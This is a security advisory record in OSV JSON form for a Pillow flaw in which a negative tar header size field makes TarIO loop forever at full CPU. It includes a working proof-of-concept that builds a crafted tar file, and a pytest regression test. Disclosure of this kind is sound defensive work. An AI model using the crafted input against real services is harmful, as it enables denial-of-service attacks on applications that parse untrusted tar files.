{"id":"GHSA-3j72-p6qg-6xp7","summary":"Pillow: TarIO negative size field causes infinite CPU-spin loop","details":"### Summary\n`TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.\n\n### Details\n`TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:\n\n```python\nsize = int(s[124:135], 8)\n...\nself.fh.seek((size + 511) & (~511), io.SEEK_CUR)\n```\nThere is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.\n\nThe loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.\n\n### Steps to reproduce\n\nThis uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.\n\n```python\nfrom PIL import TarIO\n\nwith open(\"Tests/images/hopper.tar\", \"rb\") as f:\n    data = bytearray(f.read())\n\n# Set the size field (bytes 124 to 135) to a negative octal value.\n# Octal 1000 is 512, so this is size = -512.\ndata[124:135] = b\"  -00001000\"\n\nwith open(\"poisoned.tar\", \"wb\") as f:\n    f.write(data)\n\n# \"does-not-exist\" does not match the header name, so TarIO must\n# keep scanning. This call never returns.\nTarIO.TarIO(\"poisoned.tar\", \"does-not-exist\")\n```\n\nWe confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.\n\nA pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (\u003e3.0s) from pytest-timeout.\n\n```python\nfrom __future__ import annotations\n\nfrom pathlib import Path\n\nimport pytest\n\nfrom PIL import TarIO\n\nSOURCE_TAR = \"Tests/images/hopper.tar\"\n\n\n@pytest.mark.timeout(3)\ndef test_negative_size_field_does_not_hang(tmp_path: Path) -\u003e None:\n    with open(SOURCE_TAR, \"rb\") as f:\n        data = bytearray(f.read())\n\n    data[124:135] = b\"  -00001000\"  # octal 1000 = decimal 512, negated\n\n    poisoned_tar = tmp_path / \"poisoned.tar\"\n    poisoned_tar.write_bytes(data)\n\n    with pytest.raises((OSError, ValueError)):\n        with TarIO.TarIO(str(poisoned_tar), \"does-not-exist\"):\n            pass\n```\n### Impact\n\n- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.\n- Confidentiality: none.\n- Integrity: none.\n- TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.","aliases":["CVE-2026-96642"],"modified":"2026-10-22T16:15:47.141565966Z","published":"2026-10-22T16:01:46Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-22T16:01:46Z","nvd_published_at":"2026-10-21T21:20:32Z","cwe_ids":["CWE-835"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96642"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10012"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3j72-p6qg-6xp7/GHSA-3j72-p6qg-6xp7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}